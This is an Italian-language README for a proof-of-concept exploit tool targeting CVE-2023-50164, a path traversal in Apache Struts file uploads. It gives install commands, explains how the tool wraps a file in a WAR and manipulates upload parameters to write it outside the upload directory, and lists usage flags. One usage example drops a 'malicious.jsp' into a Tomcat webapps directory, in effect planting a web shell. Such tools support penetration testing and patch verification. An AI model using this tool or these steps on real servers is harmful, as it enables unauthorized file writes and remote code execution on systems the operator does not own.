
Dimostrazione di Concetto per Attraversamento di Percorso in Apache Struts ("CVE-2023-50164")
Installazione
Per installare questo strumento è necessario avere Go versione almeno 1.20 installato e configurato.
$ go install github.com/dwisiswant0/cve-2023-50164-poc@latest
In alternativa, puoi compilarlo da te: $ git clone http://github.com/dwisiswant0/cve-2023-50164-poc cve-2023-50164-poc/ $ cd $_ $ go build .
Come funziona?
Questo strumento opera attraverso una serie di fasi per eseguire l'exploit.
Ad esempio, se desideri caricare il file /path/to/file-you-want-to-upload.txt, lo strumento procede come segue:
Comprime il file specificato in un file WAR, generando un file-you-want-to-upload.war nella
directory temporanea specifica del sistema operativo. Pertanto, lo strumento presuppone che il percorso del file del contesto servlet sia
/file-you-want-to-upload/file-you-want-to-upload.txt.
Verifica se il percorso del file del contesto servlet esiste già. Se esiste, lo strumento restituisce immediatamente un errore.
Lo strumento tenta di caricare il file WAR manipolando i parametri di upload del file.
Successivamente, ricontrolla la disponibilità (codice di stato 200) del percorso del file del contesto servlet, indicando un caricamento riuscito.
Utilizzo
$ cve-2023-50164-poc -h
PoC per CVE-2023-50164
--
scritto da @dwisiswant0
Utilizzo:
cve-2023-50164-poc -u <URL> -f <FILE> -p <PATH>
Opzioni:
-u, --url <URL> Specifica l'URL dell'endpoint di upload
-f, --file <FILE> Fornisci il file payload da caricare
-t, --traverse-seq <N> Genera sequenze di traversal N volte (predefinito: "0")
-p, --path <PATH> Specifica il percorso della directory root accessibile
-w, -win, --windows Converte i caratteri slash ("/") nel separatore Windows ("\")
Esempio:
cve-2023-50164-poc -u http://host/path/to/upload.action -f foo.txt -t 1 -p webapps
cve-2023-50164-poc -u http://host/upload/upload.action -f malicious.jsp -t 2 -p /opt/tomcat/webapps
Note
Il binario jar deve essere presente nel $PATH del tuo sistema.
Il percorso di destinazione deve essere un percorso root accessibile, come /var/lib/jetty/webapps per Jetty o
/opt/tomcat/webapps per Apache Tomcat.
Le sequenze di traversal predefinite sono zero ("0"), puoi inserire manualmente le sequenze di traversal per il
flag -p/--path, ad es. /../webapps o /../../opt/tomcat/webapps. Le sequenze di traversal
differiranno per ogni servlet.
Il flag -w/-win/--windows viene utilizzato esclusivamente quando il servlet opera su un server Windows.
Disclaimer
Utilizzare questo strumento per attaccare target senza mutuo consenso è illegale. Gli utenti devono rispettare le leggi locali, statali e federali. Lo sviluppatore ("dwisiswant0"/"Dwi Siswanto") NON è responsabile per eventuali danni causati dall'uso improprio dello strumento.
Licenza
Questo strumento è concesso in licenza sotto WTFPL v2 (DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE). Vedi COPYING.